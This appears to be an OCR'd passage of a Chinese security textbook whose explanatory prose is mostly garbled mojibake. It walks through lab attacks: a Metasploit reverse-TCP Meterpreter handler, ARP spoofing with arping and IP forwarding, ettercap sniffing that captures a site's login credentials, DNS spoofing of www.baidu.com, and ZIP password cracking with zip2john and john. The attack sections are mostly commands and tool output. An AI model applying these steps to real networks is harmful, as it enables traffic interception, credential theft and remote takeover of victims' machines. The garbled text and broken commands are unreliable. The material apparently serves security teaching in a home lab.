AT Bt B B A F XA AR Z AT ERGRD, LF-r &

AR Z TR, FB K4 B 3.3.2.18 B
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st /root/windows-meterpreter-staged-reverse-tcp-4444-e) :

Proc9551ng /root/w1ndows meterpreter staged-reverse-tcp-4444-exe.rc for B directives.
resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> set PAYLOAD windows/meterp
ter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> LHOST 192.168.31.16
LHOST = 192.168.31.16
resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> LPORT 4444
LPORT = 4444

resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> ExitOnSession false
ExitOnSession = false
resource (/root/windows-meterpreter-staged-reverse-tcp-44hb-exe.rc)> EnableStageEncoding tr
EnableStageEncoding = true
resource (/root/windows-meterpreter-staged-reverse-tcp-4444-exe.rc)> -j

Exploit running as background job @.

Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.31.16:4444

[ 3.3.2.18 7 & K7

RG24 il exe SAFEMIEA LIBITEP T R ERET .

Btk BERT TR RNRFEZBETIIRLZILTAELA
FA NGRS, @A BRI EEATAZR 697 KR E IR
BiEZE, LEHTERAMNREZ QT FHNLEITRFRENSE
K, BAFRHARAEIH, REEHEAL BTG TREZiTE
BRI IR KT 4T, e ie msfvenom 4 7T LB id—x S8k

6% MGG EFALR, AR Y0 L qq. exe, RB K2 H =7 Wk,
AN =T Wb T RPTIR GRS LA TR T . 4
T A LR A SN A XL L LE T

B8 BN AR Ko Ta A A

2. NRAEF=ZTFETEREMN, —RELTHTH, FREL
B AR FH KL E—EROFE TR, HLETRTRI B
R SRUUE
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3.3.3 arp &

m

L5

ARP (Address Resolution Protocol) RI&ILMATIHL, €8
YER AR I IP bt 2] MAC 3 bk 6945 40, f2 4+ H AL 38 13 49 i 1%
HHEAESE B it AR GERERMAIRA—H, Bl s
AHE) , X PEEE A E] MAC Hehk, % MAC & A 69 % fik oy~ —
IR A o

AN 2% % ARP X7 B A 42 0S| L EREA Y, st EM L
B TH#ATHE R E N L, REMHBATE LFaIL, 22 EE

(F2%E) (OS89 IP XA, TEXSHZ MAC Huht, X ANIHEF
& 284t P A= MAC,
&t HAER —/N BB RiEE, KA1 ping 4 APk

E T~ arp BEAT IP f= MAC #9742, 4=l 3.3.3.1 Fr:

Q_bmy IPis IP1 at MAC1, tell me who is IP2

= '*;\\\
@my IP is IP2 at MAC2 .
' =€ o e — \.
i ~ S SR
| 7 ~
@ Ping1P2 | |, \
f AL PC2
PCI 2 MAC2
lllllll
y G
@) 1p1. | MACL ] o e @2k, |
: o Ul
peiftipzf | L2 | 7 ‘ il pc2itip1
MAC2 1] it e T Himaciify
MmN GAT N IPJQE El‘l_ JJI_I A
& DIEARPLL RAf et
ARPA 7 2 &
W2y (23
mac |

B 3.3.3.1 arp % R ILFKHIEAAL
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M PC1 F1q IP2 K #8412 # 35

@ PC1 AL B T ARP & B & F &F P2 3 ¥ 49 MAC 3t 4k,
RIEH

@ PC1 ) B33 R P R AT 3B 5L5]: H&A IP1, K6 MAC Heht 2
MAC1, f2 1P2?

PC2 4L 27K 8% 442 IP1 4o MAC1 4 A\ ARP 4 % %

@ #RJ5 PC2 %4 PC1 &2 1P2, # 49 MAC 34t 2 MAC2

PC2 4% | = £ 54 |P2 #= MAC2 % N\ ARP 4 % %

EWZART ARP 4 AR HIEITFE, B4 Y PCl 48 IP2 Ki%tiF
KOGEHAZ, B RAE A TE% A& T K E) MAC2, ARG 18 i MAC2 K # 4L

PEBP T 5% BLAL BB A .

3.3.3.1 BTR K&
JR 3 K BAR Z A 2 695\ MAC 3eak st 72, FRART
2|95 & 69 A OE MAC 3bnk, Tk ER

KIS IR
b3 BE B AR
IP [192.168.31.1 192.168.31.16 192.168. 31.17
MAC | 88:¢c3:97:d4:2a:83 00:0c:29:€9:40:70 00:0c:29:5b:4e:87
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BB

B

HE ()
KM HBiL arp ~aF ST A S A IHARP L Gk, sbit

ARP %4 % % b % B B 4#3t 7 IP f= MAC 3 3t, 4w 3.3.3.2 Fi:

i £/ [ kali [ Windows 10

B el (O]

root@kali: ~
° WEE WNE BB BB N

Kali Linux
amde4d 1 s

~

' XiaoQiang (192.168.31.1) at 88:c3:97:d4:2a:83 [ether] on eth@
ol (192.168.31.211) at 9c:b6:d0:d1:32:65 [ether] on eth@

@ &

i EHM [ kali [ windows 10

Microsoft
Edge

&

B 3.3.3.2 kali #=win10 ARP & %A %

HEAVE kali F ping — F win10 ZALEY IP: 192.168.31.17
It e A& _E@mIRANRAL, RALPAITRZ S, kali & 4L ARP £ 4 3t

C2R BAR PN FHIT, B4 winl0 PALA T, 4= 3.3.3. 3,
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3.3.34 P

Xt EfF WiE EE EE)

@ ~
arp
XiaoQiang (192.168.31.1) at 88:c3:97:d4:2a:83 [ether] on ethe
? (192.168.31.211) at 9c:b6:d@:d1:32:65 [ether] on etho

® ~
ping 192.168.31.17

PING 192.168.31.17 (192.168.31.17) 56(84) bytes of data.

64 bytes from 192.168.31.17: icmp_seq=1 ttl=128 time=0.965 ms

?4 bytes from 192.168.31.17: icmp_seq=2 tt1=128 time=0.459 ms

C

—- 192.168.31.17 ping statistics --—

2 packets transmitted, 2 received, 0% packet loss, time 1002ms

rtt min/avg/max/mdev = 0.459/0.712/0.965/0.253 ms

@ ~
arp
2 |(192.168.31.17) at 00:0c:29:5b:4e:87 [ether] on etho
XiaoQiang (192.168.31.1) at 88:c3:97:d4:2a:83 [ether] on eth@
? (192.168.31.211) at 9c:b6:d0:d1:32:65 [ether] on etho

B 3.3.3.3 kali ARP £ % %

10.0. 17763, 1]

{c) 2018 Microsoft Corporation. {REETATYH .

Windows'syvstem3Z2rarp -a

: 192, 168, 31. 17 —— 0Ox§
Internet HhlE IRt
192, 168, 31. 1 A8-c3-07-d4-2a-83
294, 0,0, 22 01-00-5e-00-00-16
238, 255, 285, 250 01-00-5e-7f-ff-fa

\Windows\system3Zrarp -a

: 192, 168, 31, 17 ——- 0xf

Trternet Mk M:F@'Hh‘tll'

1 L 88-c3-97-d4-2a-33
152, 168. 31. 16 00-0c-29-a9-40-70
1Yz, 1he. 5l 250 i3 i i £ £ 51
224. 0.0, 2 01-00-5-00-00-02
224, 0,0, 22 01-00-5-00-00-16
224, 0.0, 251 01-00-5e-00-00-1k
224, 0,0, 252 01-00-5e-00-00-fc
238, 256, d55, 250 01-00-5e-Tf-ff-fa
255, 255, 255, 255 bihia i i A

EACHEAGACAEE

Windows'system3Zs

B 3.3.3.4 winl0 ARP £ A& %




y
()

J& 3 Ty e A8 L AR ARP 4 5 & AR B 2T 2 09 MAC #u bk, 2K

EY\I

2K

JE T AL BAE T o L5F 4w RSB M R I Tr 49 ARP 4 7%
E P AA %8 1P192.168.31. 1 3t 7 49 MAC ¥k, H b7 £ £ W
A BT AR AR T VAR T 38 By IP R B3 2 %6 H MAC 3exk, ABELEk
EH LR,

ATEIANERE, KB—TRA&AMIE win10ARP & 4 & T3\
|P % 52 &9 MAC 3ehk 7 A H WA, iXAF win10 Rt R T 5] A IE )5 !
MAC it 7, B ik LR, M Ik N &,

BAXNMNREYO T ALK S, LZRFMA kali FLAFH
arping R#ATHE T, AAKMNA—TZP LW FH LA, wE

3.3.3.5 Fror:

X ENE HRE BE EE

arping
ARPing 2.21, by Thomas Habets <thomas@habets.se>
usage: arping [ -@aAbdDeFpPqrRuUv ] [ -w <sec> ] [ -W <sec> ] [ -S <host/ip> ]
[ -T <host/ip ] [ -s <MAC> ] [ -t <MAC> ] [ -c <count> ]
[ -C <count> ] [ -i <interface> ] [ -m <type> ] [ -g <group> ]
[ -V <vlan> ] [ -Q <priority> ] <host/ip/MAC | -B>
For complete usage info, use -—-help or check the manpage.

B 3.3.3.5 arping 84
WA THRT, AMNEAHRELEFEGT
arping -s 00:0c:29:e9:40:70 ) 192.168. 31. 1
192.168. 31.17

A 192.168. 31. 17ARP 48 & & F 192. 168. 31. 1 *t 2 49 MAC
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() 2 EMEHLE

Hhk7 4 00:0c:29:€9:40:70, EAK F3aEH kali 69, LT AR

FREBE /X EHA AR kali 89 MAC #eht, 4w & 3.3.3.6 B

| root @kali: ~
Xt oiff iRE EZF FEm0

o ~
arping 00:0c:29:e9:40: 192.168.31.1 192.168.31.17

ARPING 192.168.31.17

60 bytes from 00:0c:29:5b:4e: (192.168.31.17): index=0 time=131.898 usec
60 bytes from 00:0c:29:5b:4e: (192.168.31.17): index=1 time=138.09@ usec
60 bytes from 00:0c:29:5b:4e: (192.168.31.17): index=2 time=162.008 usec
60 bytes from 00:0c:29:5b:4e: (192.168.31.17): index=3 time=435.136 usec
60 bytes from 00:0c:29:5b:4e: (192.168.31.17): index=4 time=1.893 msec

B 3.3.3.6 FFi arp HImEr M K&

B RAIEWin10 P EFH— T d IP A4 MAC it 2 & K

AT, 4w 3.3.3.7 A

Ry £01 [ kali [} Windows 10

: il :
nternet 'I:H"I:”‘
2. 16 l
. 2 i )-
Microsoft P i fifi it
Edge

BTN

L et
rret i&iﬁ
16 .1

phpstudy ...

B 3.3.3.7 A Z& win10 arp &+ MAC {4
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m

2 % it
ETR,win10 £ LR agrE 283 5%d IPXE kal i £HUMAC,
AR IEH, KA EAFGEFRREAITHR, A m LELER,
48 3.3.38 Fi =Lk ping RE T B E R Ak:
EFHFRL: winl0=>%d=>5R, AR winl0=Dkali, &§F

kali XA EKIBHTEHELANKERT, FIALEER,

o EH [ kall [ Windows 10

B < O THamtnm X

D O wwve baidu.com
@ 1. TR R E
° R

- R REREUERRORAL:
http://www.baidu.com

TR 38" http://www.baidu.com”
« BIFTRE
PHHER
BEE—AE

=it

B 3.3.3.8 FrR ik ping A AT B H F 4k

3.3.3.2 AEHHK

RENHERET EFTHAK, 2R winl0=Dkali FE ALK, &
1 kali FATFHH LT X, FHRwinl0=Dkal i=>BH=D>/ M, X4
wintO BPTSRALEH LW, 128, &7, winl0 A 69 L WK%
#2E T kali, Bk kali TAAPHEIE LR ASHKIE, thde
winl0 EREFHEA, AFHEROKRTELES, TEFHBL
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F3.3.1 N EBEE T
— VTR X
¥ /proc/sys/net/ipv4/ip forward LA A 1 BP 5] dm &

3.3.3.9 i, BOAXHIARERO0, T Z/E winl0 LT AEF L

M7, %=k 3.3.3.10 A

£l root@kali: ~

XtF EifE REB TE FEH

/proc/sys/net/ipv4/ip forward

B 3.3.3.9 T H A X

o A I kali [} Windows 10

| & BE-T, fRE X |4 v

= O @ 0| htps//wwwbaiducom/ * x 7 ®

FiE] hao123 o) Eig WA Lo FAR =3

A
TN

(L)
BaidbEE
( f

o

EESE

1 VRSBt 2TeR BRESEEEREEE

2 SMREESEE mrmrEE 0
RIS EAT A 5 EAERAARTEEERE

/ 3.3.3.10 win10 T A LR
I ERMNE 2R AT LB LA ettercap, H#— T ©8#H 8

A%, 4 3.3.3.11 B
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root@kali: ~

Xt aiff wiE EE B
[-..] ~

ettercap 0.8.3.1 copyright 2001- 0 Ettercap Development Team

Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
TARGET is in the format MAC/IP/IPv6/PORTs (see the man for further detail)

Sniffing and Attack opti
mitm <METHOD:ARGS> perform a mitm attack
ly-mitm don't sniff, only perform the mitm attack
-broadcast sniff packets destined to broadcast
—bridge ACE> use bridged sniff (needs 2 ifaces)
do not put the iface in promisc mode
do not forge SSL certificates
--unoffensiv do not forward packets
--read <file> read data from pcapfile <file>
--pcapfilter ing> set the pcap filter <strin
--reversed use reversed TARGET matching
--proto <proto> sniff only this proto (default is all)
—certificate <file> certificate file to use for SSL MiTMm
--private-key <file> private key file to use for SSL MiTM

User Interface Type:
-T, --text us only GUI
, ——quiet not displa icket contents
s, ——script <CMD> ue these commands to the GUI
-curses use curses GUI
aemon daemonize ettercap (no GUI)
-G, ~=gtk use GTK+ GUI
Logging option
-w i 5 > write sniffed data to pcapfile
-L, e F > log all the traffic to thla <l
-1, 0 < > og only pass
=M, £ gfile> L all the
-C,

Visualization options:
-d, --dns

B 3.3.3.11 ettercap 8 L 4%

X P AT A R B AL S, KA Rk T —

~Tq: VARFEK 89 77 X 27 LA 23R

HFEB IR
AT BAELRGR K LARA eth0, K 3.3.3.12:
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2®
ifco g
eth@: |flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.31.16 netmask 255.255.255.0 broadcast 192.168.31.255
inet6 fe80::20c:29ff:fee9:4070 prefixlen 64 scopeid @x20<link>
ether 00:0c:29:e9:40:70 txqueuelen 1000 (Ethernet)
RX packets 115548 bytes 9349127 (8.9 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 19605 bytes 4029919 (3.8 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 44 bytes 2352 (2.2 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 44 bytes 2352 (2.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

B 3.3.3.12 ifconfig #4EF MW F
RIGHIZERITIEG 4 T :

ettercap —Tq—i eth0, FF45% = eth0 W F 4 4%, 4= & 3.3.13

etho
ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
ethd — 00 :29:E9:40:70
1921 1.16/255.255.255.0
fe80::20c:29ff: fee9:4070/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth@d/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534 ...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
N — ] 100.00 %

11 hosts added to the hosts list...
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

K 3.3.3.13 L&
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BEMEHE (o)

T @ KA E—NRsEA b T T AN T RAEEE HAAAR
ENE, MAKRTELEE, XEKTH: admnintest, FALH:

passwordtest, &A1 &FAEK, 42K 3.3.3. 14 AT

— BB CEEREEx

Ix BIMIPEET (s | BIMARETS | BEMETE | FRE/OIME | FEES | HRES | FEAES | GTEUVES | ROES | WEGES | ROE | AfSEs
EARNAREREFE

A =7 2888

B 3.3.3.14 K& A
X PRTHEIRAEF G, BHEMNGIKRT EL A HALLT Y,
RAT MR G448, = 3.3.3.15 A

RAPEEtER

admintest

B 3.3.3.15 ®FKT AR
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KRG, ZMEE—Tbt kali &2 %78 T KRS ELIZ L,

4B 3.3.3.16 AT~

iy 01 [ kali [T Windows 10

B em=| 0]
° Xt WM RE =B EED

Kali Linux
amde4 1

root@kali:

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
ethd — 00:0C:29:E9:40:70
.16/255.255.255.0
29ff:fee9:4070/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipvé/conf/eth@/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534 ...

iR G

34 plugins
42 protocol dissectors
L] 57 ports monitored
28230 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* ’:ﬂ 100.00 %

11 hosts added to the hosts list...
Starting Unified sniffing...

Text only Interface activated...
Hit '"h' for inline help

HTTP : 47.94.221.202:80 — USER: admintest PASS: passwordtest INFO: http://www.bimsix.com/index.php?c=welcome&m=1o
gin
CONTENT: type=company&username=admintest&password=passwordtest&code=FBFF

B 3.3.3.16 w7 BT 2| 8 4%

BXE, RNRERAGHERE, £EBF AT AR 0K
FINE) LR EHE . S RARE B F LR IR BB TP 6 24T — 2854,
LR ERE KRB MBI BIIKT HAE L, ZTARBRE LA T

RAEF O F oo R ZTG, RTALBAET ARG, AR AL
RE R, AIASEEROIKT B E AT AR % A0R, i ax 8Y
MR AT REZ
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y
(=)

L)
n)ﬂ
B
EY\I

3.3.3.3 DNS # %

By Eam—E, EFHEALT win10 N\ www. baidu. com £

VAGB AT win10=Dkal i=>%-H=>9r Mk LW, IAd Tii g Lidid
DNS k5 IP xt 89, 4o ERMEKkali X—F P, 157 DNS 12 &,
¥ www. baidu. com R AL 1P 3k, XK FEIT HE,

% —F 147 ettercap #9 DNS BC 12 8., 42 & 3.3.3.17 Al ~:

X e Wi EE EED
zsh: corrupt history file /root/.zsh_history
@ "~

vi /fetc/ettercap/etter.dns

Xt EfF ®E EE #B

waww . baidu.com A 192.168.31.16

B 3.3.3.17 £ 7% DNS
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http://www.baidu.com

479F errercap, #it A& 4 ettercap - G, R AT TAAE O,
42 3.3.3.18 P~

¢ EfF R EE AE

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

O

& 3.3.3.18 479 ettercap T AT @

SEE LA BRI AT RSN, 40 B 3.3.3.19 Fr:

Ettercap

pecified, not starting up!
ng...

K 3.3.3.19 # A\ ettercap
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Ettercap

Filters
Logging
Plugins

ndor fingerprint
print
2182 known ser
Lua: no script re specified, not starting up!
Starting Unified sniffing...

& 3.3.3.20 #4% hosts

£ #F scan for hosts, 454t B3 F £h, 4= A 3. 3. 3. 21

Ettercap

]
Hosts list

Enable IPv6

Scan for ho

Load hosts from file ...

tofile ...

2182 known s
Lua: no script

B 3.3.3.20 iz #F4ahs T M
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LR T-BAMTRE, &4 hosts list, 42 & 3.3.3.21 FT,

T A EIMI| A KE 3.3.3.22 AT

Ettercap

Load hosts from file ...

e hosts tofile ...

Lua: no script cified, not starting up!
Starting Unified ng...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
11 hosts added to the hos

& 3.3.3.21 i#£# hosts list

mEQ = Ettercap

Host List x

IP Address MAC Address Description
192.168.31.1 88 :D4:2A:83
00:0C:29:5B:4E:87 DESKTOP-VKEDA13

192. 1.100
192.168.31.112
192.168.31.138
192.168.31.177 OA:EQ:AF:C6
192.168.31.201 78:24:AF:BB:]
Delete Host Addto Targetl Add to Target 2

10 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
canning the whole netmask for 255 hosts...
anning for merged targets (1 hosts)...

11 hosts added to the hosts list...

F 3.3.3.22 A I A
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O
(B3
3|

% 4 3%

IP:192.168.31.1, & i Add to Targetl, 4= K

3.3.3.23 Fro, &£ win101P:192. 168. 31. 17, &+ Add to Target2,

4B 3.3.3.24 Fra:

Ettercap

m S

Host List x
IP Address MAC Address Description

192.168.31.1 88:C3:97:D4:2A:83
192.168. :87 DESKTOP-VKEDA13

AddtoTargetl

s added to the hosts list...
1.1 added to TARGET1

B 3.3.3.23 Ay IP

mQ = Ettgrcap
HostList x

IP Address MAC Address Description

192.168.31.1 ;
192.168.31.17 00:0C:29:5B:4E:87 DESKTOP-VKEDA13
192.168.31.63 20:0D:B0:47:7F:DE

192.168.31.100 00:90:A9:E4:3

192.168.31.112

192.168.31.138

Addto Targetl

i
hosts...

H0st192.168.31.17 added to TARGET2

K 3.3.3.24 A B AR winl10 |IP
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() 2 EMEHLE

b A LAY ITEAa, REH,

Ht-
i
3
A

}4
@
b

45 arp 2%

¥k, 4K 3.3.3.25 Ao

> Q B Ettgr:ap

Host List ®

IP Address MAC Address Description
192.168.31.1 88:C3:97:D4:2A:83
192.168.31.17 00:0C:29:5B:4E:87 DESKTOP-VKEDA13
192.168.31.63 2
192.168.31.100
192.168.31.112
192.168.31.138
192.168.31.177
192.168.31.201
Addto Targetl AddtoTarget2

11 hosts added to the hosts list...

1.1 added to TARGET1
Host192.168.31.17 added to TARGET2
Unified sniffing was stopped.

B 3.3.3.25 45 E AR

T HRTIIESE, 4B 3.3.3.26 P
m Q = Ettercap

HostList x

IP Address MAC Address Description
192.168.31.1 88:C3:97:D4:2A:83
192.168.31.17
192.168.31.63
192.168.31.100
192.16
192.168.
192.168.3
192.168.31.201 :
Delete Host Addto Target1 Addto Target 2

11 hosts added to the hosts list...

Host19 .1 added to TARGET1
5 68.31.17 added to TARGET2
iffing was stopped.
Starting Unified sniffing...

B 3.3.3.26 ®#FIAEHE
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Et:tercap @

m Q B

Host List x
Targets
IP Address MAC Address Description
192.168.31.1 :
192.168.31.17 : DESKTOP-VKEDA13
192.168.31.63 2 7:7F:D Logging
192.168.31.100 ) : D Plugins
192.168.31.112 2
192.168.31.138

192.168.31.201 78:24:AF:BB:7E:5A

Delete Host Add to Target1 Addto Target2

dded to the hosts list...
8.31.1 added to TARGET1
68.31.17 added to TARGET2
Unified sniffin opped.
Starting Unified sniffing...

K 3.3.3.27 #4% Plugins

EREEHEN, B 3.3.3.28 Fi:

Ettgrcap @ ®

Plugins
IP Address MAC Address Description 7
Manage plugins
192.168.31.1 88:C3:97:D4:2A:83 ;
Load a plugin...
192.168.31.17 00:0C:29:5B:4E:87 DESKTOP-VKEDA13
192.168.31.63 :

OA:ED:AF:C6
78:24:AF:BB:7E:5A

Addto Targetl Addto Target 2

.1 added to TARGET1
Host192.168.31.17 added to TARGET2
Inified sniffing was stopped.
Starting Unified sniffing...

K 3.3.3.28 #&3FE At
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() ZRMMEASE

4% dns_spoof, & 4% 5.+ Activate, K& dns B3k =F,

4B 3.3.3.29 AT

m Q = Ettercap

Host List x Plugins x

Name Version Info
arp_cop 11 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1B Check if the poisoning had success
dns_sponf 13 Sends spoofed dns replies
dos_att Activate Run a d.o.s. attack againstan IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try tofind ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
11 hosts added to the hosts list...
Host192.168.31.1 added to TARGET1
Host192.168.31.17 added to TARGET2
ed sniffing was stopped.
rting Unified sniffing...

K 3.3.3.29 ##F# % dns_spoof

HBF R A * 5 e fs SR, RUIRE R, 428 3.3.3.30 AT -
m Qo E Et.tercap

Host List x Plugins X

Name Version Info

arp_cop 1.1 Report suspicious ARP activity

autoadd 12 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success

dns_spoof 13 Sends spoofed dns replies

dos_attack 1.0 Runa d.o.s. attack against an IP address

dummy 3.0 A plugin template (for developers)

find_conn 1.0

Host192.168.31.1 add
Host192.168.31.17 added to TARGET2
Unified sniffing was stopped.

Starting Unified sniffing...

Activating dns_spoof plugin...

B 3.3.3.30 #HiERY
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BEMEHE (o)
F=: BB AR SEIRS
)& 7 apache IR %-: service apache2 start,
T FHIREFF B KE: service apache? status,

4o 3.3.3.31 i, 2 apache2 IR %:

root@kali: ~

XtF INfE wE BE B

® .
'vice apache2

> apache2 status
e apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
Active: active (running) since Wed 2021-02-83 21:14:15 CST; 6s ago
Docs: https://httpd.apache.org/docs/2.4/
Process: 4405 ExecStart=/usr/shin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 4416 (apache2)
Tasks: 6 (limit: 4612)
Memory: 17.9M
CPU: 88ms
CGroup: /system.slice/apache2.service
4416 /usr/sbin/apache2 -k start
4418 fusr/sbin/apache2 -k start
4419 fusr/sbin/apache2 -k start
442@ fusr/sbin/apache2 -k start
4421 fusr/sbin/apache2 -k start
4422 fusr/shin/apache2 -k start

:15 kali systemd[1]: Starting The Apache HTTP Server ...
:15 kali systemd[1]: Started The Apache HTTP Server.

B 3.3.3.31 7 apache2 IR %
& 1 /£ apache W 3k 4% H FE /var/www/html F 4] & — A4~

index. htm| X, JEH4T EAE XLF, 4K 3.3.3.32 FT:

[ ] index.html
MHF(F) $RIBE) 12 IEM(O) FRBA(H)
OCTYPE html
<html lang="en">
<head>
<meta charset=/'UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FHRkali</title>
</head>

<body>

XEEZkalIXSBMERNMNLE , IREZ2—TH2MEEFZEEE ?
</body>
</html>

B 3.3.3.32 44
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B AR Y FHET —ARRRAE, Msbxeit? kali 69 ip, Bp
http://192.168. 31. 16/ index. html, index. htm| 9 apache Zki\ 17
Bl 69 A, B BiX BT ARAe, LEE winl0 g E B R Atk

EARFTT, 4wk 3.3.3.33 Fraw:

i £@ [ kali [ Windows 10

¢ | B

B 3.3.3.33 it DNS 3k
"3".]: .
1. RARBEFALRARDR4IZB, L4 EBRERH &
W 5h 2 TR AARTT MR ? e R A7 B LR ATI M E, BRAEMKT
—NFe AR RAT A W 5E, LI S AR R AT M 5k ad i Ak SR
Fr Bz B 69 RAB A AT W sk, AR ARE9E AT L ME T .

2. LHRA L BEE AT R M— A —H — 4 R SRAT R 5
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BEMEHE (o)
" ?

3. KAWL AME AT RLFRLELT, —BFRTE

I-Y*I

5
IR LREETD?

4, BRBEZB—N—RBR—HOGRSETESH, AREETU
T AR TN E BB AT, 122 3 IR T IK T B2 )G~ feiX &
T AR TAHAT, LHABLARASEF LR, 122 ZERAT L
FAR GG 5 5% 40

5. BAF, BEWRAMBAMNIRGIE, Ra A H—REK,
BAERNT ZEHRRGLZEA A, Fldme 2 AT AEF BT RIKS
RELAZ B 5

6. RITRUE AT G XA arp AL, XA EE
8 arp &, 12 RALT a4, Pl BE T VAGEE T ¢ RFE %
ARG 24 arp AP Ak, IR XTURFTFHAET? B2
BHREMRE LA A LAEET RBRI, o5 2mte,

3.3.4 B &R M
3.3.4.1 BfR zip BB O FA
A FEPRMEFRENE SRRSO FELGFN, thdefRIRA
ARTIR B EBNASILAMT AT XA L CHNEF, AT @3¢
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BRBERMGEGEOEDHAING T ALK S, LEZRR

RIGE BRI TG R 26 €5 A 69

—— R, R T E T AN B —TT,
BH—: RIE—ANWEN zip REE
1) AR@IHTE 1. txt L, 2@E LR LFRENE

NE, 4@ 3.3.4.1 Ff 7

A 1.6 - iE=A
MR &SEE B0) =BV EEIH)
HENERFNXX

B 3.3.4.1 #ELA LA
2) P 1 txt RESFRATEBFTEERE L, 44:
“hack. zip” , FFIXE XA K. “al12345” , 4 3.3.4.2,3.3.4. 3

)2 B

- DIUSYFE FARE. HEEE

B =E o BE oHE R

ERTHET |
[hack. zip 7]
ERTES IR

@zrr Omz OURe ~| [JEGEMSERHL)

EfAZ M O ER AR (£)

R o) BB R ) (R )
e O ERS A I E R (o)
T o DEfwfEEEn®
ERSEAIES W O EfRHEmailir)

Ve v BlEEEREER N | BREAR
REARAE -

[ tpazames: | =0 || mwo |

B 3.3.4.2 RERE AL
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s =S xiEr B mE B8
FEDESR

HiAEBRI)
|a12345

MISTERE) (e TEeiN
METEE ) (R

THAEEIE B(0)

K 3.3.4.3 L E %A
3) root HXTFTIAMHKS, AFEETEkali ALY root H
KT, #HEmyzip L&, A EHCEF Blmyzip T,4E3.3.4.4

PTaT:

i R [T kalt
|

J (s =

XF(F) fmIE(E) MENV) #%EIG)
€ > ™ H froot/myzip/
fivd 4 E A
B H&EN &

& root

o R

U s

& 30

& Bk

B Eh

= Wi

@ TH
w&

B x=m4s

9 KaliLinuxam... &
CaEd

O ssmes

hack.zip

14328177 F95, sl =S [8): 5.8 GiB

B 3.3.4.4 # N hack. zip X4
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% TS AR R A
1) #r N 4 zip2john /root/myzip/hack.zip, & &

hack. zip £ & hash 14, 4K 3.3.4.5 Ff~:

X ifE &8 EF EH

e ~
zip2john /root/myzip/hack.zip
ver 1.0 hack.zip/1.txt PKZIP Encr: cmplen=33, decmplen=21, crc=CQCO6AF0
hack.zip/1.txt:$pkzip2$1*1*2%0%21%15%c0cO6afO*0*23%0%21%xcOCO*5600%a24290ef2cfce8fag8092fod
eb482a2d336ccdofeff2e0380713841be3f7bfcled1*$/pkzip2$:1.txt:hack.zip:: /root/myzip/hack.zi
p

B 3.3.4.5 A& hash &

X B ARG A R Z% hash 18, FE A E e /8 4 6
Bl AL G P, AMPATHTae
zip2john /root/myzip/hack. zip > /root/myzip/ziphash. txt,
B 3.3.4.6 i
A3 & /root/myzip/hack. zip A A% 49 hash 1A F & {3 %]

/root/myzip/ziphash. txt X, P 7 >” KA T LILBPE AN

&

ASANININGY

~

] hn /root/myzip/hack.zip > /root/myzip/ziphash.txt
Ver 1 @ hack.zip/1.txt PKZIP Encr: cmplen=33, decmplen=21, crc=COCO6AFO

e ~

B 3.3.4.6 ¥ hash 1A & & 45 8] L4

KRG ERMAEmMyzip B X TFE A2 A w8 ziphash. txt X4,
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[ d
MHHF) fRIB(E) HER(S) ®Em(O) FENH)
it \hack.zip/l.txt:Spkzip?51*1*-2*(-J*‘Z1"-15*c@c@ﬁafG*B*ZE-“@*El*c@cG*SBG

& 3.3.4.7 & ziphash. txt X4
SREEAFELE, WNRART R AREFAE, o

K 3.3.4.8 o

e ~
cat /root/myzip/ziphash.txt

hack.zip/1.txt:$pkzip2$1*1%2%0+21%15%c0c06af@*A*x23%0*21*cOCO*5600+a24290ef2cfce8fa8092f9d

eb482a2d336ccdof8ff2e0380713841be3f7bfcledl+$/pkzip2$:1.txt:hack.zip:: /root/myzip/hack.zi
p

K 3.3.4.8 i@itér4 A ziphash. txt L4
2)FF 45 5% % hash {&, #y A4 4~ john /root/myzip/ziphash. txt,
dn & 3.3.4.9 B, EEERIKRAGE
usr/share/ john/password. |st iX B &y F T LA F 5 X

ANk 229X Bk iR
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| password.lst

MH(F) HRiS(E) M= IEM(O) #BENH)
special
stephanie
stephen
steve
sweetie
teacher
